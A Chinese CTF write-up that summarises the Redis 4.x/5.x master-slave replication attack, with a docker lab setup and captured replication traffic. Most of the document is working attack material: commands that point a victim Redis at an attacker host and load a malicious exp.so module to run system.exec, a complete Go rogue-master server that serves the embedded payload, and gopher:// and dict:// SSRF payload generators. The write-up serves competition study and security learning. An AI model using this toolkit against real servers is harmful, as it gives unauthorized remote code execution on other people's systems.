最近又遇到一些Redis相关的题,国赛半决里也再次遇到主从复制,趁着这个机会总结一下Redis主从复制相关的知识,备用

Redis4.x之后,新增了模块功能,通过外部拓展,可以在Redis中实现一个新的Redis命令,通过C语言编译并恶意加载so文件,达到代码执行的目的

漏洞影响版本 4.x 5.x

搭建环境

为了方便抓包,这里使用docker compose部署

version: '3.8'
services:
  redis-master:
    image: redis:5.0.4
    container_name: redis-master
    ports:
      - "6379:6379"
    networks:
      redisnet:
        ipv4_address: 172.28.0.2
    volumes:
      - ./shared:/data/shared

  redis-slave:
    image: redis:5.0.4
    container_name: redis-slave
    ports:
      - "6380:6379"
    networks:
      redisnet:
        ipv4_address: 172.28.0.3
    volumes:
      - ./shared:/data/shared
    depends_on:
      - redis-master

  tcpdump:
    image: nicolaka/netshoot
    container_name: redis-tcpdump
    command: tcpdump -i any -w /data/shared/redis_traffic.pcap host 172.28.0.2 and host 172.28.0.3
    network_mode: "host"
    cap_add:
      - NET_ADMIN
      - NET_RAW
    volumes:
      - ./shared:/data/shared
    depends_on:
      - redis-master
      - redis-slave

networks:
  redisnet:
    driver: bridge
    ipam:
      config:
        - subnet: 172.28.0.0/16

先搭个环境

流量分析

docker exec -it redis-slave redis-cli

在执行完SLAVEOF xxxx xxx后

*1
$4
PING

+PONG

*3
$8
REPLCONF
$14
listening-port
$4
6379

+OK

*5
$8
REPLCONF
$4
capa
$3
eof
$4
capa
$6
psync2

+OK

*3
$5
PSYNC
$40
11298f012012775855f0aab999c09edbda393bac
$1
1

+FULLRESYNC 4aa8ace9cc3e62af0c9078d1d18c0c9f57240373 0
$175
REDIS0009.	redis-ver.5.0.4.
redis-bits.@..ctime..5.g..used-mem.......repl-stream-db....repl-id(4aa8ace9cc3e62af0c9078d1d18c0c9f57240373..repl-offset....aof-preamble....X...G..
*3
$8
REPLCONF
$3
ACK
$1
0


能抓到这样的流量

master在收到PSYNC命令后,返回了一个这样的+FULLRESYNC 4aa8ace9cc3e62af0c9078d1d18c0c9f57240373 0用于启动复制同步请求

所有数据均采用 RESP 格式 字符串以“+”开头,批量字符串以“$”开头并在下一行给出数据长度,再接实际数据,最后以 CRLF 结束

复制或数据同步 PSYNC

*3
$5
PSYNC
$1
?
$2
-1

问号或 -1 表示 Slave 没有有效复制偏移量,从而触发全量同步

master响应

+FULLRESYNC <runid> 0\r\n

Bulk数据传输

Master 会发送一个 bulk string,第一行为$<length>\r\n表示要发送的数据长度 然后把RDB数据发送

以上两点完整就是

+FULLRESYNC <runid> 0\r\n
$<payload长度>\r\n
<payload数据>\r\n

其他 对于其他请求,比如ping等,直接返回+ok或者+pong就好了

漏洞利用

slaveof host.docker.internal 21000 
config set dir /tmp
config set dbfilename exp.so
quit

本地需要构建一个redis伪服务(代码在下文) 然后脱离主从复制关系,成为主服务器

slaveof no one
module load /tmp/exp.so
system.exec 'env'
quit

最后记得移除,不然环境就寄了

CONFIG SET dbfilename dump.rdb
MODULE UNLOAD system

代码如下,编译成二进制即可

package main

import (
	_ "embed"
	"flag"
	"fmt"
	"log"
	"math/rand"
	"net"
	"strings"
	"time"
)

//go:embed exp_lin.so
var payloadLinData []byte

//go:embed exp_osx.so
var payloadOsxData []byte

const CLRF = "\r\n"

// 生成随机的 40 字节十六进制字符串
func generateRandomRunID(n int) string {
	const letters = "0123456789abcdef"
	b := make([]byte, n)
	for i := range b {
		b[i] = letters[rand.Intn(len(letters))]
	}
	return string(b)
}

func handleConnection(conn net.Conn, payload []byte) {
	defer conn.Close()
	log.Printf("Conn from %s", conn.RemoteAddr())

	for {
		buf := make([]byte, 4096)
		n, err := conn.Read(buf)
		if err != nil {
			log.Printf("Read error: %v", err)
			return
		}
		req := string(buf[:n])
		log.Printf("Req:\n%s", req)

		var resp string
		if strings.Contains(req, "PING") {
			resp = "+PONG" + CLRF
		} else if strings.Contains(req, "REPLCONF") {
			resp = "+OK" + CLRF
		} else if strings.Contains(req, "PSYNC") || strings.Contains(req, "SYNC") {
			runID := generateRandomRunID(40)
			resp = fmt.Sprintf("+FULLRESYNC %s 0%s", runID, CLRF)
			resp += fmt.Sprintf("$%d%s", len(payload), CLRF)
			_, err = conn.Write([]byte(resp))
			if err != nil {
				log.Printf("Write header error: %v", err)
				return
			}
			_, err = conn.Write(payload)
			if err != nil {
				log.Printf("Write payload error: %v", err)
				return
			}
			_, err = conn.Write([]byte(CLRF))
			if err != nil {
				log.Printf("Write CRLF error: %v", err)
				return
			}
			log.Printf("Payload sent, %d bytes", len(payload))
			return
		} else {
			log.Printf("Unknown cmd, close")
			return
		}

		if resp != "" {
			_, err = conn.Write([]byte(resp))
			if err != nil {
				log.Printf("Write resp error: %v", err)
				return
			}
			log.Printf("Resp sent:\n%s", resp)
		}
	}
}

func main() {
	rand.Seed(time.Now().UnixNano())

	// 命令行参数说明
	var osType string
	flag.StringVar(&osType, "os", "lin", "payload (lin|osx)")
	var lhost string
	var lport string
	flag.StringVar(&lhost, "lhost", "0.0.0.0", "listen host")
	flag.StringVar(&lport, "lport", "21000", "listen port")
	flag.Parse()

	var selectedPayload []byte
	if osType == "osx" {
		selectedPayload = payloadOsxData
		log.Println("Using OSX payload")
	} else {
		selectedPayload = payloadLinData
		log.Println("Using Linux payload")
	}

	listenAddr := fmt.Sprintf("%s:%s", lhost, lport)
	log.Printf("Listening on %s", listenAddr)
	listener, err := net.Listen("tcp", listenAddr)
	if err != nil {
		log.Fatalf("Listen error: %v", err)
	}
	log.Printf("Server running on %s", listenAddr)

	for {
		conn, err := listener.Accept()
		if err != nil {
			log.Printf("Accept error: %v", err)
			continue
		}
		go handleConnection(conn, selectedPayload)
	}
}

其他

正常情况下就是 ssrf 或者 打进内网后 发现未授权等触发见的比较多

可以用gopher协议或dict协议,比较常见

import requests
import re
def urlencode(data):
    enc_data = ''
    for i in data:
        h = str(hex(ord(i))).replace('0x', '')
        if len(h) == 1:
            enc_data += '%0' + h.upper()
        else:
            enc_data += '%' + h.upper()
    return enc_data
def gen_payload(payload):
    redis_payload = ''
    for i in payload.split('\n'):
        arg_num = '*' + str(len(i.split(' ')))
        redis_payload += arg_num + '\r\n'
        for j in i.split(' '):
            arg_len = '$' + str(len(j))
            redis_payload += arg_len + '\r\n'
            redis_payload += j + '\r\n'
    gopher_payload = 'gopher://db:6379/_' + urlencode(redis_payload)
    return gopher_payload

payload1 = '''
slaveof host.docker.internal 21000
config set dir /tmp
config set dbfilename exp.so
quit
'''
payload2 = '''slaveof no one
module load /tmp/exp.so
system.exec 'env'
quit
'''
print(gen_payload(payload1))
print(gen_payload(payload2))
dict://db:6379/config:set:dir:/tmp
dict://db:6379/config:set:dbfilename:exp.so
dict://db:6379/slaveof:host.docker.internal:21000
dict://db:6379/module:load:/tmp/exp.so
dict://db:6379/slave:no:one
dict://db:6379/system.exec:env
dict://db:6379/module:unload:system

然后同样本地启动那个fake server